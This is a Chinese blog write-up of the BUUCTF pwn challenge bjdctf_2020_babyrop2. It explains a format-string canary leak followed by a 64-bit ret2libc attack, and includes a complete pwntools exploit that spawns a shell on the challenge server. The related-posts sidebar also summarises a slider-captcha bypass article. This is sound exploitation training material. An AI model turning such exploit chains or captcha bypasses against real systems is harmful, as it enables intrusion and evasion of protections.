BUUCTF-bjdctf_2020_babyrop2-WP

[CTF]bjdctf_2020_babyrop2 格式化字符串漏洞+金丝雀绕过。 出现这种形式的,v2就是canary。 查看他在栈里的位置。 var_8就是canary。 利用格式化字符串漏洞。 %6$p表示输出第六个参数。 发现我们输入的东西在第六个参数的位置。 调试之后发现有一串随机的十六进制数字。这就是canary。由此可见,这个canary在第七个参数的位置。 于是我们先用格式话字符串泄露第七个参数位置上的内容,每一次进行栈溢出的时候把泄露出来的值填入即可。 代码如下: from pwn import * from LibcSearche 阅读详情

1.checksec

64位,NX和canary保护 

2.IDA

1.vuln()函数

 

canary的位置是确定的,0x20-8

2.gift()函数

 

很明显是格式化字符串漏洞 ,绕过canary

又学到一种找偏移的方法

直接用%n$p来试,参数和%n$p之间不能有标点符号

 参数在第7个位置

64位的ret2libc3

3.EXP

from pwn import *

#start 
r = remote("node4.buuoj.cn",27174)
# r = process("./35bjdctf2020babyrop2")
elf = ELF("./35bjdctf2020babyrop2")
libc = ELF("./libc-64.so")

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.symbols['vuln']
rdi_addr = 0x400993

#attack
payload = "%7$p"
r.sendlineafter("u!\n",payload)
r.recvuntil("0x")
canary = int(r.recv(16),16)
payload = p64(canary)
payload = payload.rjust(0x20,b'M')
payload += b'M'*8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
r.sendlineafter("story!\n",payload)
put_addr = u64(r.recv(6).ljust(8,b'\x00'))

#libc
base_addr = put_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b"/bin/sh"))

#attack2
payload = p64(canary)
payload = payload.rjust(0x20,b'M')
payload += b'M'*8 + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendlineafter("story!\n",payload)

r.interactive()

直接就用buu的libc就行

bjdctf_2020_babyrop2 环境:WSL2,ubuntu16.04,python2 checksec文件: PIE保护没开,构造rop链 存在Canary,需要找出Canary的值才能进行地址泄露 文件拖入ida: 在gift函数发现printf格式化漏洞,可以利用该漏洞获取Canary的值,但需要找出输入点参数在栈上的相对位置(找偏移量) 由于scanf限制了只能输入6个字符,因此不能用 AAAA %x %x %x....... 来泄露值,改为: aa%6$p #6是一步步试出来的,可以从1开始尝试,p是十六进制形式 结 阅读详情

相关推荐

某讯天御滑块验证码逆向实战:从参数解析到环境对抗

本文详细解析了某讯天御滑块验证码的逆向工程实战技巧,从关键参数解析到浏览器环境模拟对抗。重点介绍了collect、eks等参数的逆向思路,以及如何通过puppeteer等工具补全环境检测,帮助开发者有效突破验证码防护。文章还提供了常见错误解决方案和性能优化建议,是验证码逆向领域的实用指南。

weixin_29325007的博客 437

bjdctf_2020_babyrop2--buuctf

非常规格式化字符串泄露

2301_81060697的博客 656

第2章 数据库关系模型-单元测验-数据库原理及应用

第2章 数据库关系模型---数据库与机器学习 作业 常用的关系查询操作包括选择、投影、连接、并、交等。 v 实体完整性是指关系表的属性组成必须是完整的。 x 自然连接是一种等值连接。 v 在参照完整性中,可以定义级联操作。 v 用户自定义完整性可以实施数据的业务约束。 v 每个关系是一个二维表,但二维表不一定是关系。 v 关系中复合键至少包含两个属性。 v 代理键是为了唯一标识关系的不同元组,需要在表单或报表中显示出来。 x ...

aiqq136的博客 5724

bjdctf-2020-babyrop2

首先需要注意要获得 canary 的值,然后才能进行接下来的一系列操作格式化字符串漏洞需要大胆地调试才能得到实际的偏移,方便我们利用。

m0_73743784的博客 946

ROS2理论与实践_宇树机器人Go2开发指南(文字)

本文介绍了Unitree Go2机器人ROS2开发环境的安装与配置流程。主要内容包括:1)从GitHub克隆unitree_ros2仓库;2)安装ROS2 Foxy版本依赖项;3)编译特定版本的CycloneDDS(0.10.2);4)编译unitree_go和unitree_api功能包;5)网络配置,包括设置静态IP和修改环境变量脚本setup.sh以指定网络接口。文章还提供了本地回环测试的替代方案,并建议配置完成后重启电脑。整个流程涉及ROS2环境切换、网络适配和编译安装等多个技术环节。

Li_Dongyi的博客 4205

SAP-PM设备模块-PM主数据之功能位置

SAP-PM模块学习

TRUIXIANG的博客 5137

bjdctf_2020_babyrop2-fmt-leak canary

这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。本地libc下载:https://github.com/Yeuoly/buuctf_pwn/tree/master/bjdctf_2020_babyrop2。printf(“%p”, a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。思路:aa相当于定位标识,format在格式化假参数6的位置,所以构造成。2,IDA静态分析,查看可以泄露canary的地方,否则只能爆破了。canary的位置:即。

个人笔记 701

HCIA重点知识

华为认证ICT工程师,是华为认证体系中用于标识个人能力在某一技术领域达到工程师级别的证明,表示通过认证的人员具备安装、配置、运行 ICT 设备,并进行基础故障排除的能力。抽象语言 -----> 编码 -----> 二进制 -----> 电信号 -----> 处理电信号信号的转换标准:协议,是一种允许电子设备相互交流的一系列标准的规则。即开放系统参考模型OSI/RM,简称“OSI”。OSI参考模型将计算机网络分为七个层次,自上而下依次为:应用层,表示层,会话层,传输层,网络层,数据链路层,物理层。1、应用层:

Awen0201的博客 2542

BUUCTF PWN 36、bjdctf_2020_babyrop2 wp

存在格式化字符串漏洞,基本确定可以通过该漏洞泄露Canary的地址后修改Canary的值,进而通过ret2libc实现攻击。可以发现,程序在我们输入%6$p后显示了我们输入的格式化字符串,所以确定偏移为6,由于程序只允许我们输入6字节的内容,所以通过%p%p%p%p的方式就行不通了。输入%7$p之后发现泄露出了一个和Canary很像的东西(以00结尾)之后泄露了Canary对应的地址后,我们可以将Camary的值修改。这里,我们只能通过%n$p的方法实现偏移的查询。开启了Canary保护,

2503_93690490的博客 466

ZYNQ GP总线实现PS与PL交互

3,完成 ZYNQ7 Processing System 的配置更改后,回到 Diagram 界面中,可以看到新出现了名为 M_AXI_GP0_ACLK、M_AXI_GP0 和 FCLK_CLK0 的接口,下面我们要对这些接口进行连接或引出。此处的偏移量,AXI的相邻寄存器偏移量相差4个字节,默认slv_reg0的偏移量是0,可以推导出slv_reg1,slv_reg2的偏移量分别为4和8,这里只用到了slv_reg0,所以偏移量为0。当然了,窗口数量的增加,势必会使得单个窗口的采样深度变小。

wangjie36的博客 7094

【25届数字IC秋招总结】面试经验13——豪威科技面试

25届数字ic面试记录———豪威科技

lalala0635的博客 363

关于BUUCTF 之bjdctf_2020_babyrop的wp的最实在解释

from os import system from pwn import* context.log_level='debug' p=remote('node4.buuoj.cn',25535) libc_ = ELF('./libc-2.23.so') elf = ELF('./2020') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] #p.recvuntil("Pull up your sword and tell me u story!"

Probeginner的博客 974

人工智能机器学习基础篇】——深入详解强化学习 基础知识,理解马尔可夫决策过程(MDP)、策略、价值函数等关键概念

人工智能机器学习基础篇】——深入详解强化学习 基础知识,理解马尔可夫决策过程(MDP)、策略、价值函数等关键概念

编程技术探索者,分享C/C++、C#、Java、数据库等开发经验,聚焦实战技巧与AI兴趣,助力编程爱好者成长。 1925

[PWN] BUUCTF bjdctf_2020_babyrop

构造常规的ROP链,三种找到libc版本的方法分析寻找libc版本1.利用LibcSearcher来查找libc版本payload2.通过特殊网址来查找libc版本3.通过gdb来查找libc版本payload 分析 按照惯例checksce ,发现开了NX和RELRO 运行程序,查看程序的运行逻辑,从图中的红框可以猜测是一道泄露libc的题目 接着用IDA查看程序中主要函数存在的漏洞,可以看到 buf这个字符串数组只有0x20字节,而read却可以读取0x64个字节,所以这里存在着栈溢出 shift

空城惜梦的博客 737

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

BUUCTF|pwn-bjdctf_2020_babyrop-wp

1.例行检查保护机制 2. 我们用64位的IDA打开该文件 shift+f12查看关键字符串,没有找到关键字字符串 3.我们进入main函数看看 发现有两个函数 init():这里打印了两句话 vuln():打印了一句话,然后我们看到read()函数里面读取了0x64个buf,但是buf只有0x20个字节,所以这里是漏洞 4.system("/bin/sh") 我们用libc计算偏移量,再计算system("/bin/sh") base_addr...

l2645470582_的博客 425

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

BUUCTF-bjdctf_2020_babyrop1-WP

只有NX保护。

Rt1Text的博客 457

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

pwn7第七关

前面几个懒得写了,直接第七个吧,溢出点和前面一样get()函数,112字节,保护只开了NX程序本身没有system(),也没有/bin/sh,且栈不可执行,用ROPgadget也没找到有用的语句,但是程序是动态链接的,运行时会加载so库,可以用put()泄露出put的真实地址,又因为ASLR随机化不了地址底12位,可以用put真实地址的底12位查询加载的那个版本的libc.so,以及确定libc的...

qq_18823653的博客 563

BUUCTF bjdctf_2020_babyrop 1 和 2

这两个rop其实是差不多的,第二个比第一个多了一个canary 先看一下第一个 bjdctf_2020_babyrop1 init里面两个puts vul里面一个puts一个read 没有system和binsh ,要泄露libc,但是现在没有可以控制的输出手段,,所以要通过read,,覆盖返回地址为puts,,构造参数让puts输出libc的函数 这是网上别人的做法,,首先到pop rd...

BengDouLove的博客 1845

bjdctf_2020_babyrop

新手向解释

u014377094的博客 1266

bjdctf_2020_babyrop【BUUCTF】

bjdctf_2020_babyrop

qq_41696518的博客 654

【CTF】bjdctf_2020_babyrop

bjdctf_2020_babyrop

凉水的博客 930

NSSCTF Pwn [BJDCTF 2020]babyrop2 题解

可以看到canary距离输入的字符串8字节 离rbp也是8个字节。得到了canary之后,就是ret2libc的流程了。下载 checksec exeinfo。可以看到有格式化字符串漏洞和栈溢出漏洞。64位 开启了canary和NX保护。利用格式化字符串漏洞泄露canary。canary的偏移为7;IDA64 查看函数。

qq_33348179的博客 409
上一篇: BUUCTF-pwnable_orw-WP
下一篇: BUUCTF-PWN-hitcontraining_uaf
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值